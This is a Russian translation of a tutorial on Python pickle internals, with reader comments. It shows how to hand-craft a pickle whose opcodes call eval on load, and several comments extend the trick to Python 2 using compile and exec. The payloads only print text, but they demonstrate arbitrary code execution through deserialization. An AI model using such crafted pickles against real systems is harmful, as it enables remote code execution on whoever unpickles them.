Всем привет!

Panta rhei и вот уже приближается запуск обновленного курса «Web-разработчик на Python» и у нас остался ещё материал, который мы нашли сильно небезынтересным и коим хотим поделиться с вами.

Чем опасны pickles?
Эти соленые огурчики крайне опасны. Я даже не знаю, как объяснить, насколько. Просто поверь мне. Это важно, понимаешь?
“Explosive Disorder” Pan Telare

Прежде чем с головой погрузиться в опкод, поговорим об основах. В стандартной библиотеке Python есть модуль под названием pickle (в переводе “соленый огурчик” или просто ”консервация”), который используется для сериализации и десериализации объектов. Только называется это не сериализация/десериализация, а pickling/unpickling (дословно — “консервация/расконсервация”).



Как человек, которого до сих пор мучают кошмары после использования Boost Serialization в C++, могу сказать, что консервация отличная. Что бы вы в нее не кинули, она продолжает Просто Работать. И не только с builtin типами — в большинстве случаев, можно сериализовать свои классы, без необходимости писать сериализационные консервирующие методы. Даже с такими объектами, как рекурсивные структуры данных (которые бы вызвали падение при использовании похожего marshal модуля), проблем не возникает.

Приведем быстрый пример для тех, кто еще не знакомым с модулем pickle:

import pickle
# начать с любого инстанса типа Python
original = { 'a': 0, 'b': [1, 2, 3] }
# преобразовать это в строку
pickled = pickle.dumps(original)
# преобразовать обратно в идентичный объект
identical = pickle.loads(pickled)

Этого достаточно в большинстве случаев. Консервация действительно классная… но где-то в глубине скрывается тьма.

В одной из первых строк pickle модуля написано:
Внимание: Модуль pickle не защищен от ошибочных и вредоносных данных. Никогда не делайте расконсервацию данных из ненадежного и неавторизованного источника.

Я много раз перечитал это предупреждение и часто задавался вопросом, что же могут собой представлять вредоносные данные. И недавно я решил, что настало время это узнать. И не зря.
Мой квест по созданию вредоносных данных помог мне узнать многое о работе протокола pickle, обнаружить классные методы дебаггинга консервации и найти парочку дерзких комментариев в исходном коде Python. Если продолжите чтение, то получите те же преимущества (и скоро тоже начнете отправлять людям свои вредоносные консервационные файлы). Предупреждение: будут технические детали, единственный пререквизит — базовое знание Python. Но и поверхностное знание ассемблера не помешает.

Ненастоящая Pickle Bomb

Я начал с чтения документации pickle модуля, в надежде найти подсказки, как стать элитным хакером, и наткнулся для строку:
Модуль pickletools содержит инструменты для анализа потоков данных, сгенерированных консервацией. Исходный код pickletools содержит обширные комментарии об опкодах, используемых pickle протоколами.

Опкоды? Я совсем не рассчитывал, что имплементация pickle будет такой:

def dumps(obj):
    return obj.__repr__()

def loads(pickled):
    # Внимание: Модуль pickle не защищен...
    return eval(pickled)

Но я также не ожидал, что она определит собственный низкоуровневый язык. К счастью, вторая часть строки говорит правду — pickletools модули очень помогают понять, как работаю протоколы. Плюс, комментарии в коде оказались очень забавными.

К примеру, поставим вопрос, на какой версии протокола нам нужно сфокусироваться. В Python 3.6 их в общей сложности пять. Они пронумерованы от 0 до 4. Протокол 0 — очевидный выбор, потому что он назван “читабельным” в документации, а исходный код pickletools предлагает дополнительную информацию:

Опкоды pickle никогда не исчезают, даже когда появляются новые способы делать что-нибудь. Репертуар PM только растет со временем… “Вздутие опкода” — не тонкий намек, а источник изнуряющих сложностей.

Оказывается, каждый новый протокол является суперсетом предыдущего. Даже если не брать во внимание, что протокол 0 “читабельный” (это неважно, потому что мы декомпилируем инструкции), он также содержит наименьшее количество возможных опкодов. Что идеально подходит, если цель — понять, как создаются вредоносные pickle файлы.

Если вы запутались с опкодами, не переживайте. Сейчас мы вернемся к Python, а после я в деталях объясню, как опкоды соотносятся с кодом Python. Создадим простой класс Python без опкодов.

class Bomb:
    def __init__(self, name):
        self.name = name

    def __getstate__(self):
        return self.name

    def __setstate__(self, state):
        self.name = state
        print(f'Bang! From, {self.name}.')

bomb = Bomb('Evan')

Методы __setstate__() и __getstate__() используются в модуле pickle для сериализации и десериализации классов. Часто не нужно определять их самостоятельно, потому что имплементации по умолчанию просто сериализуют __dict__ инстанса. Как видим, я прямо определил их здесь, чтобы спрятать небольшой сюрприз в момент десериализации объекта Bomb.

Проверим, работает ли код десериализации с сюрпризом. Мы законсервируем и расконсервируем объект с помощью:

import pickle

pickled_bomb = pickle.dumps(bomb, protocol=0)
unpickled_bomb = pickle.loads(pickled_bomb)

Получаем:

# Пиф-паф! От Эвана.
Bang! From, Evan.    

Точно по плану! Есть только одна проблема: если мы попытаемся десериализовать строку pickled_bomp в контексте, где Bomb не определена, ничего не выйдет. Вместо этого появится ошибка:

AttributeError: Can't get attribute 'Bomb' on <module '__main__'>

Оказывается, мы можем запустить наш кастомный метод __setstate__(), только если у расконсервирующего контекста уже есть доступ к коду с нашим вредоносным print выражением. А если у нас уже есть доступ к коду, запущенному жертвой, зачем вообще заморачиваться с pickle? Мы можем просто написать вредоносный код в любом другом методе, которым воспользуется жертва. И это верно — я просто хотел наглядно продемонстрировать.

В конце концов, совсем не напрасно подозревать, что Pyton может поддерживать консервационный байт-код для метода десериализации объекта. К примеру, модуль marshal может сериализовать методы, и многие альтернативы pickle: marshmallow, dill, и pyro, также поддерживают сериализацию функции.

Тем не менее, зловещее предупреждение в документации pickle говорит не об этом. Нужно погрузиться чуть глубже, чтобы узнать опасности десериализации.

Декомпилируем Pickle

Настало время попытаться понять, как на самом деле работает консервация. Начнем с рассмотрения объекта из предыдущего раздела — pickled_bomb.

b'ccopy_reg\n_reconstructor\np0\n(c__main__\nBomb\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\nVEvan\np5\nb.'

Постойте… мы же использовали протокол 0? Разве это “читабельно”?

Но ничего страшного, в исходном коде pickletools мы должны найти “обширные комментарии об опкодах, используемых pickle протоколами”. Они должны помочь нам разобраться в проблеме!
Я отчаянно документирую это детально — прочитайте pickle код полностью, чтобы найти все частные случаи.
— комментарий в исходном коде pickletools

Боже. Во что мы вписались?

Шутки в сторону, исходный код pickle tools действительно отлично прокомментирован. И сами инструменты не менее полезны. Например, есть метод для разборки pickle под названием pickletools.dis(). Он поможет перевести наш pickle на более понятный язык.

Для разборки нашей строки pickled_bomb, просто запустим следующее:

import pickletools

pickletools.dis(pickled_bomb)

В результате получим:
0: c    GLOBAL     'copy_reg _reconstructor'
   25: p    PUT        0
   28: (    MARK
   29: c        GLOBAL     '__main__ Bomb'
   44: p        PUT        1
   47: c        GLOBAL     '__builtin__ object'
   67: p        PUT        2
   70: N        NONE
   71: t        TUPLE      (MARK at 28)
   72: p    PUT        3
   75: R    REDUCE
   76: p    PUT        4
   79: V    UNICODE    'Evan'
   85: p    PUT        5
   88: b    BUILD
   89: .    STOP
highest protocol among opcodes = 0

Если вы имели дело с языками вроде x86, Dalvik, CLR, то все вышеописанное может показаться знакомым. Но даже если не имели — не беда, разберем все по шагам. Сейчас достаточно знать, что заглавные слова вроде GLOBAL, PUT, и MARK — опкоды, и инструкции, которые интерпретируются почти как функции в высокоуровневых языках. Все что правее — аргументы этих функций, а левее показано, как они были зашифрованы в оригинальной “читабельной” строке.

Но перед тем как начать пошаговый разбор, представим еще одну полезную вещь из pickletools: pickletools.optimize(). Этот метод удаляет неиспользуемые опкоды из pickle. На выходе получается упрощенный, но аналогичный pickle. Можем разобрать оптимизированную версию pickled_bomb, запустив следующее:

pickled_bomb = pickletools.optimize(pickled_bomb)
pickletools.dis(pickled_bomb)

И получим упрощенную версию серии инструкций:

 0: c    GLOBAL     'copy_reg _reconstructor'
   25: (    MARK
   26: c        GLOBAL     '__main__ Bomb'
   41: c        GLOBAL     '__builtin__ object'
   61: N        NONE
   62: t        TUPLE      (MARK at 25)
   63: R    REDUCE
   64: V    UNICODE    'Evan'
   70: b    BUILD
   71: .    STOP
highest protocol among opcodes = 0

Можно заметить, что от оригинала это отличается только отсутствием всех PUT опкодов. Что оставляет нам 10 инструкционных шагов, которые нужно понять. Вскоре, мы рассмотрим их по отдельности и вручную “разберем” в Python код.

Во время расконсервации опкоды обычно интерпретируются сущностью под названием Pickle Machine (PM). Каждый pickle — программа, запущенная на PM, примерно как скомпилированный Java код запускается на Java Virtual Machine (JVM). Чтобы разобрать наш pickle код, нужно разобраться в работе PM.

В PM есть две области для хранения данных и взаимодействия с ними: memo и stack. Memo предназначен для долговременного хранения, и похож на словарь Python, сопоставляющий целые числа и объекты. Stack подобен списку Python, с которым взаимодействуют многие операции, добавляя и вытаскивая вещи. Мы можем эмулировать эти области данных Python следующим образом:

# долговременная память/хранилище PM
memo = {}
# Stack PM, с которым взаимодействует большая часть опкодов
stack = []

Во время расконсервации PM читает pickle программу и последовательно выполняет каждую инструкцию. Он завершается всякий раз, когда достигает опкода STOP; любой объект, находящийся наверху стека, является финальным результатом расконсервации. Используя наши сэмулированные memo и stack хранилища, попробуем перевести наш pickle на Python… инструкция за инструкцией.

  • GLOBAL пушит класс и функцию в стэк, передавая модуль и имя в качестве аргументов. Заметим, что сообщение немного вводит в заблуждение, потому что в Python 3 copy_reg был переименован в copyreg.


  • MARK пушит в стэк особый markobject, чтобы впоследствии мы могли использовать его для уточнения части стэка. Мы воспользуемся строкой “MARK” для репрезентации markobject.

    # Пушит markobject в стэк.
    # 25: (    MARK
    stack.append('MARK')
    


  • GLOBAL опять. Но в этот раз с модулем __main__, поэтому нам не нужно проводить import.

    # Пушит глобальный объект (module.attr) в стэк.
    # 26: c        GLOBAL     '__main__ Bomb'
    stack.append(Bomb)
  • GLOBAL опять. И нам не нужно явно импортить object.

    # Пушит глобальный объект (module.attr) в стэк.
    # 41: c        GLOBAL     '__builtin__ object'
    stack.append(object)


  • NONE просто пушит None в стэк.

    # Пушит None в стэк.
    # 61: N        NONE
    stack.append(None)


  • TUPLE немного сложнее. Помните, как мы раньше добавляли “MARK” в стэк? Эта операция переместит все из стэка после “MARK” в кортеж. После этого она удалит “MARK” и заменит его на кортеж.

    # Создать кортеж из верхней части стэка, после markobject.
    # 62: t        TUPLE      (MARK at 28)
    last_mark_index = len(stack) - 1 - stack[::-1].index('MARK')
    mark_tuple = tuple(stack[last_mark_index + 1:])
    stack = stack[:last_mark_index] + [mark_tuple]
    Будет полезным посмотреть, как это преобразуется в стэке.
    # стэк перед операцией TUPLE:
    [<function copyreg._reconstructor>, 'MARK', __main__.Bomb, object, None]
    # стэк после операции TUPLE:
    [<function copyreg._reconstructor>, (__main__.Bomb, object, None)]


  • REDUCE убирает последние две вещи из стэка. После этого она вызывает предпоследний объект, используя позиционное расширение последней вещи, и полученный результат размещает в стэке. Словами сложно объяснить, но в коде все понятно

    # Пушит объект, полученный из callable и tuple аргумента.
    # 63: R    REDUCE
    args = stack.pop()
    callable = stack.pop()
    stack.append(callable(*args))


  • UNICODE просто пушит строку юникода в стэк (очень неплохую строку юникода, к слову!)

    # Пушит объект строк Python Unicode.
    # 64: V    UNICODE    'Evan'
    stack.append(u'Evan')


  • BUILD убирает последний объект из стэка и затем передает его в качестве аргумента в __setstate__() новой последней вещью стэка

    # Завершает создание объекта через обновление __setstate__ или dict.
    # 70: b    BUILD
    arg = stack.pop()
    stack[-1].__setstate__(arg)


  • STOP просто означает, что любой предмет вверху стэка — наш финальный результат.

    # Останавливает PM.
    # 71: .    STOP
    unpickled_bomb = stack[-1]


Фух, мы закончили! Не уверен, что наш код особенно Python’ный… но он эмулирует работу PM. Можно заметить, что мы ни разу не воспользовались memo. Помните все те PUT опкоды, которые были удалены при pickletools.optimize()? В них могло происходить взаимодействие с momo, но в нашем простом примере это не понадобилось.

Попробуем упростить код, чтобы наглядно показать его работу. По факту, кроме перемешивания данных, происходит только три операции: импорт _reconstructor в инструкции 1, вызов _reconstructor в инструкции 7 и вызов __setstate__() в инструкции 9. Если мысленно представить перемешивание данных, то можно выразить все тремя строками Python.

# Инструкция 1, где произошел импорт `_reconstructor`
from copyreg import _reconstructor
# Инструкция 7, где `_reconstructor` был вызван
unpickled_bomb = _reconstructor(cls=Bomb, base=object, state=None)
# Инструкция 9, где `__setstate__` был вызван
unpickled_bomb.__setstate__('Evan')

Взгляд изнутри на исходный код copyreg._reconstructor() выявляет, что мы просто вызываем object.__new__(Bomb). Пользуясь этим знанием, можем упростить все до двух строк.

unpickled_bomb = object.__new__(Bomb)
unpickled_bomb.__setstate__('Evan')

Поздравляю, вы только что декомпилировали pickle!

Настоящая Pickle Бомба

Я не pickle эксперт, но уже представляю в общих чертах, как сконструировать вредоносный pickle. Можно использовать опкод GLOBAL для импорта любой функции — os.system и __builtin__.eval кажутся подходящими кандидатами. А после воспользуемся REDUCE для его выполнения с произвольным аргументом. Но только… погодите, что это?

Если не isinstance(callable, тип), REDUCE не будет ругаться только в том случае, когда callable был зарегистрирован в словаре safe_constructors модуля copyreg, или у callable есть волшебный атрибут __safe_for_unpickling__ с истинным значением. Не знаю, почему так происходит, но я видел достаточное количество жалоб <подмигивает>.

Подмигиваем в ответ. Похоже документация pickletools подсказывает, что только разрешенные callable могут быть выполнены REDUCE. На мгновение это заставило меня поволноваться, но поиск “safe_constuctors” быстро помог найти PEP 307 из 2003.

В прошлых версиях Python расконсервация имела “проверку безопасности” на отдельных операциях, отказываясь вызывать функции или конструкторы, которые не были отмечены “безопасными для расконсервации” за наличие атрибута __safe_for_unpickling__ равного 1, или регистрации в глобальном регистре copy_reg.safe_constructors.

Эта функция создает ложное ощущение безопасности: никто никогда не проводил необходимую обширную проверку кода, чтобы доказать, что расконсервация pickle из ненадежных источников не может вызвать нежелательный код. Фактически, баги в модуле pickle.py Python 2.2 позволяют легко обойти эти меры предосторожности.

Мы твердо убеждены, что при использовании интернета, лучше знать, что ваш протокол небезопасен, чем доверять безопасности протокола, чья имплементация не была досконально проверена. Даже высококачественная имплементация популярных протоколов зачастую содержит ошибки; без больших временных вложений имплементация pickle в Python просто не может дать гарантий. Поэтому, начиная с версии Python 2.3, все проверки безопасности расконсервации официально исключены и заменены на предупреждение:
Предупреждение: Не расконсервируйте данные, полученные из ненадеждых и не прошедших проверку источников.


Здравствуй, тьма, наш старый друг. Здесь все и началось.

Вот и все, мы нашли ключевой ингредиент, и не осталось ложного чувства защищенности от того, что мы планируем сделать. Начнем с написания нашей бомбы:

# добавить функцию в стэк для выполнения arbitrary python
GLOBAL     '__builtin__ eval'
# отметить старт кортежа наших аргументов
MARK
    # добавить код Python, который мы хотим выполнить в стэке
    UNICODE    'print("Bang! From, Evan.")'
    # завернуть код в кортеж, чтобы его можно было распарсить через REDUCE
    TUPLE
# вызвать `eval()` с нашим кодом Python в качестве аргумента
REDUCE
# использовать STOP, чтобы сделать PM код валидным
STOP

Чтобы превратить это в настоящий pickle, нужно заменить каждый опкод на соответствующий ASCII код: c для GLOBAL, ( для MARK, V для UNICODE, t для TUPLE, R для REDUCE, и. для STOP. Заметим, что это те же самые значения, что были прописаны слева от опкодов в выводе pickletools.dis() ранее. Аргументы анализируются после каждого опкода с учетом комбинации позиции и ограничения новой строки. Каждый аргумент расположен либо сразу после соответствующего опкода, либо после предыдущего аргумента, и читается непрерывно до тех пор, пока не будет найден символ новой строки. Перевод в машинный код pickle дает следующее:

c__builtin__
eval
(Vprint("Bang! From, Evan.")
tR.

Наконееец-то, мы можем это проверить:

# Запусти меня дома!
# Я безопасен, обещаю!
pickled_bomb = b'c__builtin__\neval\n(Vprint("Bang! From, Evan.")\ntR.'
pickle.loads(pickled_bomb)

Иии…

# Пиф-паф! От Эвана.
Bang! From, Evan.

Знаю, что у вас нет причин мне верить, но это действительно сработало с первого раза.
Легко понять, что кто-нибудь может с легкостью придумать более вредоносный аргумент для eval(). PM можно заставить делать буквально все что угодно, что может выполнить код Python, включая системные команды os.system().

Все хорошее когда-нибудь заканчивается

Я планировал узнать, как сделать опасный pickle, но случайно в процессе понял, как pickle’ы работают. Признаюсь, мне понравилось копаться в этой Pickle Machine. Исходный код pickletools ощутимо помог, и я рекомендую его, если вам интересно узнать больше о pickle протоколе и PM.

THE END

Как всегда ждём пожелания и вопросы, которые можно задать тут или лично Илье Лебедеву на Дне открытых дверей.

Комментарии (23)


  1. Ivanq
    13.04.2018 16:24

    Google Translate. Не, ну arbitary не переведенный — ладно, но стак? Знаю, что принято писать в личку, но это уже чересчур.


    1. MaxRokatansky Автор
      13.04.2018 16:34

      arbitary — где это вы нашли? И чем стак не угодил? Вполне себе ходит в таком варианте везде, как и стэк.


      1. EvilGenius18
        13.04.2018 16:48

        Соглашусь с Ivanq, слово стак имеет совершенно другое значение в английском и сбивает с толку, в то время как стэк уже давно используется в русском.

        Если уж и перенимать английские слова, то перенимать правильное их значение.


        1. MaxRokatansky Автор
          13.04.2018 16:59

          Хм. Честно, но слышу про такое первый раз и про разницу между стаком и стэком. Если не очень сложно — можете провести короткий ликбез? А я тогда пока поправлю в переводе…


          1. EvilGenius18
            13.04.2018 17:14
            +1

            Большинство программистов говорят на английском, и когда при чтении видят знакомые английские термины, написанные как слова, имеющие совершенно другой смысл, это просто сбивает столку. И чем больше слов в предложении имеют неверные определения, тем сложнее читать текст

            Это еще хорошо, когда ты знаешь определение обоих слов. А что делать новичкам, когда они впервые видят какое-то незнакомое слово в статье, и переведя его получают stuck => застрял


            1. MaxRokatansky Автор
              13.04.2018 17:25

              Хм. Ну насчёт большинство — это немного перебор, не в обиду, но просто со стороны именно курсов образования заметна выборка.

              А стак-стэк — просто ещё в 90-е годы, да и в начале нулевых именно в написании на русском разницы не было. Видимо как-то внезапно оно устаканилось и прошло мимо. Спасибо за разъяснения, в статье всё поправил на привычное.


              1. EvilGenius18
                13.04.2018 17:31
                +1

                Соглашусь, большинство не знают английский в совершенстве, но, все же, все переменные и ключевые слова на английском, тут хочешь-не хочешь нужно знать хотя бы определение ключевых слов и терминов.

                Вы же смотрите Rick and Morty (судя по кдпв), должны понимать, что новичкам часто сложно понять даже очевидные вещи :)

                Так-то статья отличная, спасибо за перевод


                1. MaxRokatansky Автор
                  13.04.2018 17:36

                  Ну вот тут тоже есть нюансы. Я потихоньку собираю перлы от студентов, которые слышал и видел на наших курсах. Как силы будут — сделаю небольшую юмористическую подборку о разночтениях :)

                  Это да, но и так же есть вывод, что старые привычки искореняются тяжело :)

                  Не за что. Заходите ещё :) И вам ещё раз спасибо за поправки :)


              1. rg_software
                13.04.2018 23:20
                +1

                Никогда не видел написания "стак". Либо стэк, либо стек (чаще).


                1. MaxRokatansky Автор
                  14.04.2018 00:34

                  Как минимум лет 5-6 назад видел тексты про «стакование». Не только в околоITшной среде причём.


          1. EvilGenius18
            13.04.2018 17:26

            // не та ветка


        1. immaculate
          13.04.2018 19:40

          Тогда уж должен быть стек, так как иностранные слова пишутся с буквой «е», за редким исключением (например, мэр).


      1. Ivanq
        13.04.2018 20:55

        Опечатлся. Не arbitary, а arbitrary.


        # добавить функцию в стэк для выполнения arbitrary python


  1. tuupic
    13.04.2018 19:07

    Здравствуй, тьма, наш старый друг.

    Имхо, это лучше оставить без перевода :)
    ru.wikipedia.org/wiki/The_Sounds_of_Silence


    1. MaxRokatansky Автор
      13.04.2018 19:52

      Чёрт, я там хотел залинковать ролик на ютубе и забыл :) Поправил, спасибо :)


  1. Sly_tom_cat
    14.04.2018 13:05

    Python 3.5.2 — прострел ноги из pickle — работает, а вот 2.7.12 как-то не хочет себе конечности отстреливать:

    $ python
    Python 2.7.12 (default, Dec  4 2017, 14:50:18) 
    [GCC 5.4.0 20160609] on linux2
    Type "help", "copyright", "credits" or "license" for more information.
    >>> import pickle
    >>> pickled_bomb = b'c__builtin__\neval\n(Vprint "Bang! From, Evan."\ntR.'
    >>> pickle.loads(pickled_bomb)
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
      File "/usr/lib/python2.7/pickle.py", line 1388, in loads
        return Unpickler(file).load()
      File "/usr/lib/python2.7/pickle.py", line 864, in load
        dispatch[key](self)
      File "/usr/lib/python2.7/pickle.py", line 1139, in load_reduce
        value = func(*args)
      File "<string>", line 1
        print "Bang! From, Evan."
            ^
    SyntaxError: invalid syntax
    >>>

    … что я делаю не так?


    1. Antigluk
      14.04.2018 13:54

      в 2 версии питона надо писать print("Bang! From, Evan.") — со скобками


      1. Sly_tom_cat
        14.04.2018 14:23

        Пробовал со скобками и без:

        $ python
        Python 2.7.12 (default, Dec  4 2017, 14:50:18) 
        [GCC 5.4.0 20160609] on linux2
        Type "help", "copyright", "credits" or "license" for more information.
        >>> import pickle
        >>> pickled_bomb = b'c__builtin__\neval\n(Vprint("Bang! From, Evan.")\ntR.'
        >>> pickle.loads(pickled_bomb)
        Traceback (most recent call last):
          File "<stdin>", line 1, in <module>
          File "/usr/lib/python2.7/pickle.py", line 1388, in loads
            return Unpickler(file).load()
          File "/usr/lib/python2.7/pickle.py", line 864, in load
            dispatch[key](self)
          File "/usr/lib/python2.7/pickle.py", line 1139, in load_reduce
            value = func(*args)
          File "<string>", line 1
            print("Bang! From, Evan.")
                ^
        SyntaxError: invalid syntax
        


      1. Sly_tom_cat
        14.04.2018 14:27

        … и это в третьем питоне прит — функция, во втором это оператор, с неформатированными параметрами воспринимает их как tupe

        python 2:
        >>> print(1,2)
        (1, 2)

        python 3:
        >>> print(1,2)
        1 2


      1. Mingun
        14.04.2018 16:06

        Вообще-то ровно наоборот: во 2-м Python'е printинструкция, поэтому её можно писать без скобок, если напишем скобки, будет печататься кортёж. А вот в 3-м Python'е print уже сделали функцией, так что её вызов без скобок не канает.


    1. Mingun
      14.04.2018 16:59

      Проблема в том, что eval() вычисляет только выражения, а во 2-м Python'е print — инструкция. Не помогает даже использование импорта из будущего


      from __future__ import print_function

      поскольку он, судя по всему, не влияет на контекст внутри функции eval(), восстановленной из pickle, так что превратить print в функцию не получается. Выполнять инструкции могла бы exec, но во втором Python'е это тоже инструкция (в отличие от третьего, где она стала функцией), поэтому в pickle её не подсунешь.


      Python 2.7.13 (default, Jan 17 2017, 13:56:44)  [GCC 6.3.0 64 bit (AMD64)] on win32
      Type "help", "copyright", "credits" or "license" for more information.
      >>> eval('''print(1)''')
      Traceback (most recent call last):
        File "<stdin>", line 1, in <module>
        File "<string>", line 1
          print(1)
              ^
      SyntaxError: invalid syntax
      >>> # Пробуем импорт функци print из будущего
      >>> from __future__ import print_function
      >>> eval('''print(1)''')
      1
      >>>
      >>> # Но для pickle это всё равно не работает
      >>> import pickle
      >>> pickled_bomb = b'c__builtin__\neval\n(Vprint "Bang! From, Evan."\ntR.'
      >>> pickle.loads(pickled_bomb)
      Traceback (most recent call last):
        File "<stdin>", line 1, in <module>
        File "D:/Tools/msys64/mingw64/lib/python2.7/pickle.py", line 1388, in loads
          return Unpickler(file).load()
        File "D:/Tools/msys64/mingw64/lib/python2.7/pickle.py", line 864, in load
          dispatch[key](self)
        File "D:/Tools/msys64/mingw64/lib/python2.7/pickle.py", line 1139, in load_reduce
          value = func(*args)
        File "<string>", line 1
          print "Bang! From, Evan."
              ^
      SyntaxError: invalid syntax
      >>>


      1. Mingun
        14.04.2018 17:32

        Удалось повторить трюк во 2-м Python'е. Рецепт успеха — функция compile():


        Python 2.7.13 (default, Jan 17 2017, 13:56:44)  [GCC 6.3.0 64 bit (AMD64)] on win32
        Type "help", "copyright", "credits" or "license" for more information.
        >>> import pickle
        >>> # Проверяем, что print -- инструкция, если бы вывелось
        >>> # <built-in function print>, она была бы функцией
        >>> print
        >>> 
        >>> # Работает со скобками...
        >>> pickled_bomb = b'''c__builtin__\neval\n(c__builtin__\ncompile\n(Vprint("Bang! From, Evan.", 1)\nV-\nVexec\ntRtR.'''
        >>> pickle.loads(pickled_bomb)
        ('Bang! From, Evan.', 1)
        >>> # ...и без них
        >>> pickled_bomb = b'''c__builtin__\neval\n(c__builtin__\ncompile\n(Vprint "Bang! From, Evan., 1"\nV-\nVexec\ntRtR.'''
        >>> pickle.loads(pickled_bomb)
        Bang! From, Evan. 1
        >>>

        В первом случае выводится кортёж, во втором — подряд два аргумента инструкции. Со скобками трюк работает в обеих версиях Python'а. Суть: строим выражение


        eval(compile('print("Bang! From, Evan.", 1)', '-', 'exec'))

        и выполняем его. Второй аргумент функции compile() есть имя файла, третий указывает, что мы выполняем инструкции. Если бы мы указали там 'eval', ничего бы не заработало.


        1. Mingun
          14.04.2018 17:41

          Чтобы ещё и результаты в обоих Python'ах были одинаковыми, передаём необязательные параметры в compile():


          Python 2.7.13 (default, Jan 17 2017, 13:56:44)  [GCC 6.3.0 64 bit (AMD64)] on win32
          Type "help", "copyright", "credits" or "license" for more information.
          >>> import pickle
          >>> # 65536 == __future__.print_function.CompilerFlag
          >>> # 0 -- не использовать инструкции из будущего из окружающего кода
          >>> # (то есть, использовать только те, что указали предыдущим аргументом)
          pickled_bomb = b'''c__builtin__\neval\n(c__builtin__\ncompile\n(Vprint("Bang! From, Evan.", 1)\nV-\nVexec\nI65536\nI0\ntRtR.'''
          >>> pickle.loads(pickled_bomb)
          Bang! From, Evan. 1
          >>>